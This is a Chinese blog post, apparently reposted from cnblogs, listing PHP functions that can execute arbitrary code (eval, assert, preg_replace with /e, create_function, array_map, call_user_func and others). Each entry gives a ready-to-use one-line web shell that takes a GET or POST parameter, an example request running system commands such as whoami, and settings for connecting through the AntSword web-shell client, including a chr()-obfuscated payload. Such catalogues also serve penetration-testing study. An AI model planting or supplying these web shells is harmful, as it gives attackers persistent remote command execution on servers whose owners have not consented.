zoukankan      html  css  js  c++  java
  • PHP-代码执行

    代码执行

    1. eval()
    PHP 457
    eval — 把字符串作为PHP代码执行,字符串要符合语法规则
    eval ( string $code ) : mixed
    

    命令执行利用:

    <?php @eval($_GET['cmd']); ?>
    test.php?cmd=system(whoami);
    注意分号
    

    蚁剑:cmd改post接收,密码cmd
    注意:eval是一个语言构造器而不是一个函数,所以不能被可变函数调用,例如:

    $a='eval';
    $a('phpinfo();');
    报错:PHP Fatal error:  Uncaught Error: Call to undefined function eval() in
    
    1. assert()
    PHP 457
    assert — 检查一个断言是否为 FALSE
    5:assert ( mixed $assertion [, string $description ] ) : bool
    7:assert ( mixed $assertion [, Throwable $exception ] ) : bool
    如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
    

    命令执行利用:

    <?php @assert($_GET['cmd']); ?>
    test.php?cmd=system(ipconfig)
    可不加分号
    

    蚁剑:cmd改post接收,base64编码,密码cmd

    1. preg_replace()
    PHP 45
    preg_replace — 执行一个正则表达式的搜索和替换
    preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
    搜索subject中匹配pattern的部分, 以replacement进行替换。
    如果pattern使用/e,则函数会转义('、"、  和 NULL)后,将搜索替换后的结果字符串作为php代码使用eval执行
    

    命令执行利用:

    <?php preg_replace("/test/e",$_GET["cmd"],"just test"); ?>
    参考assert
    test.php?cmd=eval(phpinfo())
    test.php?cmd=eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
    

    蚁剑:cmd改post接收,base64编码,密码cmd
    PHP 7.0.0起,会产生 E_WARNING 错误,同时 "e" 也无法起效,即无法执行代码。

    1. create_function()
    PHP 457
    create_function — 创建一个匿名(lambda样式)函数
    create_function ( string $args , string $code ) : string
    $args函数名,$code函数结构体内容
    $code会被eval()执行
    

    命令执行利用:

    <?php $func =create_function('',$_GET['cmd']);$func(); ?>
    参考eval
    test.php?cmd=system(whoami);
    

    蚁剑:cmd改post接收,base64编码,密码cmd

    1. array_map
    PHP 457
    array_map — 为数组的每个元素应用回调函数
    array_map ( callable $callback , array $array1 [, array $... ] ) : array
    对array1的每个元素应用callback函数
    $callback为assert,则把$array1数组的每个元素各作为assert()的参数执行一次
    

    命令执行利用:

    <?php 
      $func=$_GET['func'];
      $cmd=$_GET['cmd'];
      $array[0]=$cmd;
      $new_array=array_map($func,$array);
    命令执行:
    test.php?func=assert&cmd=system(ipconfig)
    

    蚁剑:cmd改POST接收,test.php?func=assert,base64编码,密码cmd

    1. call_user_func()
    PHP 457
    call_user_func — 把第一个参数作为回调函数调用
    call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
    第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
    $callback 为 assert,则 $parameter 为 assert() 的参数
    

    命令执行利用:

    <?php call_user_func("assert",$_GET['cmd']); ?>
    test.php?cmd=system(whoami)
    

    蚁剑:cmd改post接收,base64编码,密码cmd

    1. call_user_func_array()
    PHP 457
    call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
    call_user_func_array ( callable $callback , array $param_arr ) : mixed
    把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。与array_map相似,不同的是param_arr的所有元素都是一次callback的参数
    $callback 为 assert,则 $param_arr 为 assert() 的所有参数
    

    命令执行利用:

    <?php
      $cmd=$_GET['cmd'];
      $array[0]=$cmd;
      call_user_func_array("assert",$array);
    命令执行:
    test.php?cmd=system(whoami)
    

    蚁剑:cmd改post接收,base64编码,密码cmd

    1. array_filter()
    PHP 457
    array_filter — 用回调函数过滤数组中的单元
    array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
    依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
    $callback 为 assert,则 $array 的每个元素依次为 assert() 的参数
    

    命令执行利用:

    <?php
    $cmd=$_GET['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
    命令执行:
    test.php?cmd=system(ipconfig)&func=assert
    

    蚁剑:cmd改post接收,test.php?func=assert,base64编码,密码cmd

    1. uasort()
    PHP 457
    uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
    uasort ( array &$array , callable $value_compare_func ) : bool
    本函数对数组排序并保持索引和单元之间的关联。比较函数是用户自定义的。
    $value_compare_func为assert,则$array为assert()的参数
    

    命令执行利用:

    <?php usort($_GET,assert); ?>
    test.php?1=1+1&cmd=system(whoami)
    

    蚁剑:test.php?1=1+1&2=eval($_POST[cmd]),密码cmd

    参考

    https://www.cnblogs.com/-qing-/p/10819069.html
    https://www.php.net/manual/zh/

  • 相关阅读:
    转载JGTM' 2004[MVP]有关AOP的三篇精彩文章
    新增Skin
    发表文章的要求
    自定义UserControl的属性为什么不能在设计时显示在属性窗口中
    .Text学习笔记(一)
    访问类的private或internal成员[转载]
    博客园对发表文章的一些要求
    博客园成立了管理团队
    推荐一篇介绍.NET MetaData的文章
    让大家久等了:终于完成了AOP尝鲜系列之第三部[JGTM'2004 [MVP]文章转载]
  • 原文地址:https://www.cnblogs.com/Rain99-/p/13497529.html
Copyright © 2011-2022 走看看